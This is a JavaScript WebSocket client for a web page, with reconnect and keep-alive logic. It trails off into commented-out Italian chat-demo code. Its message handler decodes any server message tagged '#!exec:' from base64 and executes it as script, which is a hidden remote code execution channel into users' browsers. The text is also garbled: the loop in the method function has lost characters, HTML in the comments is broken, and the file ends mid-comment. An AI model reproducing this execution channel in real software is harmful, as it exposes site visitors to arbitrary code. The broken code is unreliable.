var specialCommandPrefix="#!"; function WebSocketClient(url,options){ //this.id=null; this.url=url; this.options=options || {}; this.ws=null; this.connected=false; this.retryCount=0; this.reconnecting=false; this._onConnected=[]; this._onDisconnected=[]; this._onConnectionLost=[]; this._onReconnected=[]; this._onMessage=[]; //this._onIdAssigned=[]; this.intervalHandle=null; if(!this.url){ var scheme = document.location.protocol == "https:" ? "wss" : "ws"; var port = document.location.port ? (":" + document.location.port) : ""; this.url=scheme + "://" + document.location.hostname + port + "/ws?pageId="+pageId } const self=this; this.intervalHandle=setInterval(function(){ if(self.connected) self.send(specialCommandPrefix+"keepAlive"); },10000); } WebSocketClient.prototype.onConnected=function(f){ this._onConnected.push(f); }; WebSocketClient.prototype.onDisconnected=function(f){ this._onDisconnected.push(f); }; WebSocketClient.prototype.onConnectionLost=function(f){ this._onConnectionLost.push(f); }; WebSocketClient.prototype.onReconnected=function(f){ this._onReconnected.push(f); }; WebSocketClient.prototype.onMessage=function(f){ this._onMessage.push(f); }; //WebSocketClient.prototype.onIdAssigned=function(f){ // this._onIdAssigned.push(f); //}; WebSocketClient.prototype.connect=function(){ var _url=this.url; var closed=false; //if(this.id) // _url+=(_url.indexOf('?')>=0 ? "&" : "?"); /+"ReconnectId="+this.id; var wsImpl=window.WebSocket || window.MozWebSocket; var ws=new wsImpl(_url); this.ws=ws; var self=this; ws.onopen=function(){ self.connected=true; if(self.reconnecting){ for(i in self._onReconnected) self._onReconnected[i].call(self); } for(i in self._onConnected) self._onConnected[i].call(self); self.retryCount=0; self.reconnecting=false; }; ws.onclose=function(){ self.reconnecting=self.connected; self.connected=false; self.ws=null; for(i in self._onDisconnected) self._onDisconnected[i].call(self); self.retryCount++; //if(self.id){ if(!closed){ setTimeout(function(){ console.error("socket connection error"); self.connect(); },10000); } }; ws.onmessage=function(evt){ if(evt.data==specialCommandPrefix+"close"){ console.log("---closed---"); closed=true; self.close(); return; }else if(evt.data.startsWith(specialCommandPrefix+"id:")){ self.id=evt.data.substring(5); for(i in self._onIdAssigned) self._onIdAssigned[i].call(self,self.id); return; }else if(evt.data.startsWith(specialCommandPrefix+"exec:")){ var script=Decode64(evt.data.substring(7)); exec(script); return; } if(closed) return; for(i in self._onMessage) self._onMessage[i].call(self,evt.data); }; ws.onerror=function(){ console.error("Connection error"); // if(!closed){ // setTimeout(function(){ // self.connect(); // },self.options.retryInterval || 10000); // } } //// when the connection is closed, this method is called //ws.onclose=function () { // wait=jQuery("
connection lost
"); // wait.appendTo(document.body) // inc.innerHTML += '.. connection closed
'; // reconnectTimeout=setTimeout(function(){ // reconnectTimeout=null; // connect(); // },5000); //} //ws.onerror=function(){ // inc.innerHTML += '.. connection error
'; //} }; WebSocketClient.prototype.send=function(text){ if(this.ws==null || !this.connected) return; this.ws.send(text); }; WebSocketClient.prototype.method=function(){ if(this.ws==null || !this.connected || arguments.length==0) return; var text=specialCommandPrefix+"method:"; for(var i=0;i0) text+="|"; text+=arguments[i]; } this.ws.send(text); }; WebSocketClient.prototype.close=function(text){ if(this.ws==null || !this.connected) return; this.ws.close(); }; var ws=new WebSocketClient(); ws.onConnected(function(){ console.log('connected'); }); ws.onReconnected(function(){ console.log('reconnected'); }); //ws.onIdAssigned(function(id){ // console.log('id assigned:'+id); //}); ws.onDisconnected(function(){ console.log('disconnected'); }); ws.onMessage(function(text){ console.log("message"+text); }); ws.onConnectionLost(function(){ console.log('connection lost'); }); ws.connect(); var socket; //A scopo di demo, lo username viene generato lato client (sconsigliato in produzione) //var username = "User" + Math.round(Math.random()*1000); ////Funzione per inviare i messaggi //function sendMessage(form) { // var text = form.text.value; // //Inviamo il messaggio solo se l'utente aveva digitato un testo // if (!text) return; // //Il messaggio รจ un oggetto javascript che serializziamo in JSON // var message = JSON.stringify({sender: username, text: text}); // //Usiamo il websocket per inviare il messaggio // socket.send(message); // form.text.value = ""; //} //Funzione per ricevere i messaggi function receiveMessage(event) { console.log(event); // //Ci aspettiamo che il contenuto del messaggio sia JSON // var message = JSON.parse(event.data); // //Otteniamo un riferimento alla lista dei messaggi (un elemento